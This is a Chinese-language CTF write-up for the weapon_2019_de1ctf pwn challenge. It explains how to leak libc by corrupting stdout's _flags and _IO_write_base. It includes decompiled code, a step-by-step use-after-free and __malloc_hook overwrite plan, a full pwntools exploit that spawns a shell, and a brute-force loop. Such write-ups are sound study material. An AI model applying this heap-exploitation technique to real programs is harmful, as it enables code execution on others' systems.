0%

IO_FILE泄露libc

alt

FILE介绍(CTF WIKI)

FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中。我们常定义一个指向 FILE 结构的指针来接收这个返回值。

学习心得

因为遇到了程序没有类似show这样的函数,单纯的使用House of Roman这样的方法来getshell难度太大,所以就学习了一下IO流的知识,通过IO流来泄露libc。

主要思路就是修改stdout的flag位为0xfbad1800,并且将_IO_write_base的最后一个字节改小,从而实现多输出一些内容,这些内容里面就包含了libc地址。

具体关于原理是怎么样的,我也不是太清楚,看了源码,只是了解了大概思路,太菜了我,啥都不会。

这里我使用一道例题来讲解一下如何利用io流来泄露libc。

weapon_2019_de1ctf

checksec检查

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // ST08_8@1
int v4; // [sp+4h] [bp-Ch]@2

v3 = *MK_FP(__FS__, 40LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
while ( 1 )
{
sub_A50();
v4 = sub_AAE();
switch ( v4 )
{
case 1:
add();
break;
case 2:
free_();
break;
case 3:
edit();
break;
default:
puts("Incalid choice!");
break;
}
}
}

add函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
__int64 add()
{
__int64 result; // rax@12
__int64 v1; // rsi@12
int v2; // [sp+8h] [bp-18h]@1
int v3; // [sp+Ch] [bp-14h]@5
void *v4; // [sp+10h] [bp-10h]@9
__int64 v5; // [sp+18h] [bp-8h]@1

v5 = *MK_FP(__FS__, 40LL);
printf("wlecome input your size of weapon: ");
_isoc99_scanf("%d", &v2);
if ( v2 <= 0 || v2 > 96 )
{
printf("The size of weapon is too dangers!!", &v2);
exit(0);
}
printf("input index: ", &v2);
v3 = sub_AAE();
if ( v3 < 0 && v3 > 9 )
{
printf("error");
exit(0);
}
v4 = malloc(v2);
if ( !v4 )
{
printf("malloc error");
exit(0);
}
dword_202068[4 * v3] = v2;
*((_QWORD *)&unk_202060 + 2 * v3) = v4;
puts("input your name:");
sub_AF6(*((void **)&unk_202060 + 2 * v3), v2);
result = 0LL;
v1 = *MK_FP(__FS__, 40LL) ^ v5;
return result;
}

free函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 free_()
{
signed int v1; // [sp+4h] [bp-Ch]@1
__int64 v2; // [sp+8h] [bp-8h]@1

v2 = *MK_FP(__FS__, 40LL);
printf("input idx :");
v1 = sub_AAE();
if ( v1 < 0 && v1 > 9 )
{
printf("error");
exit(0);
}
free(*((void **)&unk_202060 + 2 * v1));
puts("Done!");
return *MK_FP(__FS__, 40LL) ^ v2;
}

edit函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 edit()
{
signed int v1; // [sp+4h] [bp-Ch]@1
__int64 v2; // [sp+8h] [bp-8h]@1

v2 = *MK_FP(__FS__, 40LL);
printf("input idx: ");
v1 = sub_AAE();
if ( v1 < 0 && v1 > 9 )
{
printf("error");
exit(0);
}
puts("new content:");
sub_AF6(*((void **)&unk_202060 + 2 * v1), dword_202068[4 * v1]);
puts("Done !");
return *MK_FP(__FS__, 40LL) ^ v2;
}

可以看到程序中没有类似于show这样的函数,而在free函数中我们发现了uaf漏洞。程序现在我们只能申请0–96大小的chunk。

利用思路:

  1. 申请3个0x60大小的chunk,在chunk0的数据段伪造chunk0的prev_size和size位,然后free掉chunk0和chunk1,利用uaf修改chunk1的fd为我们伪造的chunk0的地址,连续俩次将chunk1和fake_chunk0申请过来
  2. 通过fake_chunk0修改chunk1的size字节为0x91,然后free掉chunk1,此时chunk1进入unsorted bin ,通过fake_chunk0然后再修复chunk1的size为0x71,利用uaf修改fd低俩个字节为0x25dd,使地址变为_IO_2_1_stderr_+157,连续俩次将chunk1和_IO_2_1_stderr_+157为地址的fake_chunk申请下来
  3. 然后修改stdout的flag位为0xfbad1800_IO_write_base的最后一个字节,接收libc地址。
  4. 此时unsorted中有一个0x71大小的chunk,我们申请下来,然后再free掉,利用uaf修改该chunk的fd为malloc_hook-0x23,然后连续malloc将其申请下来。
  5. 修改malloc_hook为one_gadget地址
  6. 随便malloc一次,来getshell。

这里我贴一下_IO_2_1_stdout_结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
gdb-peda$ p _IO_2_1_stdout_
$1 = {
file = {
_flags = 0xfbad2887, #0xfbad1800
_IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", <----
_IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#! /usr/bin/env python

from pwn import *

sh=process('./pwn')
elf=ELF('./pwn')
libc=elf.libc
context.log_level='debug'

def add(index,size,name) :
sh.recvuntil('\n')
sh.sendline('1')
sh.recvuntil(': ')
sh.sendline(str(size))
sh.recvuntil(': ')
sh.sendline(str(index))
sh.recvuntil('\n')
sh.send(name)

def create(index,size,name) :
sh.sendline('1')
sh.recvuntil(': ')
sh.sendline(str(size))
sh.recvuntil(': ')
sh.sendline(str(index))
sh.recvuntil(':')
sh.send(name)

def free(index) :
sh.recvuntil('\n')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(index))

def edit(index,rename) :
sh.recvuntil('\n')
sh.sendline('3')
sh.recvuntil(': ')
sh.sendline(str(index))
sh.recvuntil('\n')
sh.send(rename)

def edit1(index,rename) :
sh.recvuntil('\n')
sh.sendline('3')
sh.recvuntil(': ')
sh.sendline(str(index))
sh.recvuntil(':')
sh.send(rename)

add(0,0x60,p64(0) + p64(0x71))
add(1,0x60,p64(0) + p64(0x51))
add(2,0x60,p64(0)*3 + p64(0x51))
free(0)
free(1)

edit(1,'\x10')
add(3,0x60,'a')
# delete(1)

add(4,0x60,p64(0)*0xb + p64(0x71))
free(3)

edit(4,p64(0)*0xb + p64(0x91))
free(1)

edit(4,p64(0)*0xb + p64(0x71))
edit(3,'\xdd\x25')

add(5,0x60,'a')
add(6,0x60,p64(0)*6+'\x00'*3+p64(0xfbad1800)+p64(0)*3+'\x00')
IO_stderr = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-192
print ('IO_stderr:' +hex(IO_stderr))
libc_base=IO_stderr-libc.sym['_IO_2_1_stderr_']
one_gadget=0xf1147+libc_base
print ('one_gadget:' +hex(one_gadget))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
fack_chunk = malloc_hook - 0x23

create(7,0x60,'a')
free(7)
edit1(7,p64(fack_chunk))
create(7,0x60,'a')
payload='a'*0x13+p64(one_gadget)
create(8,0x60,payload)
#gdb.attach(sh)

sh.recvuntil("choice >> ")
sh.sendline('1')
sh.recvuntil("weapon: ")
sh.sendline('32')
sh.recvuntil("index: ")
sh.sendline('7')

sh.interactive()

爆破脚本:

1
2
#!/bin/bash
for i in `seq 1 20`; do python exp.py; done;

参考链接:

https://n0va-scy.github.io/2019/09/21/IO_FILE/

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction-zh/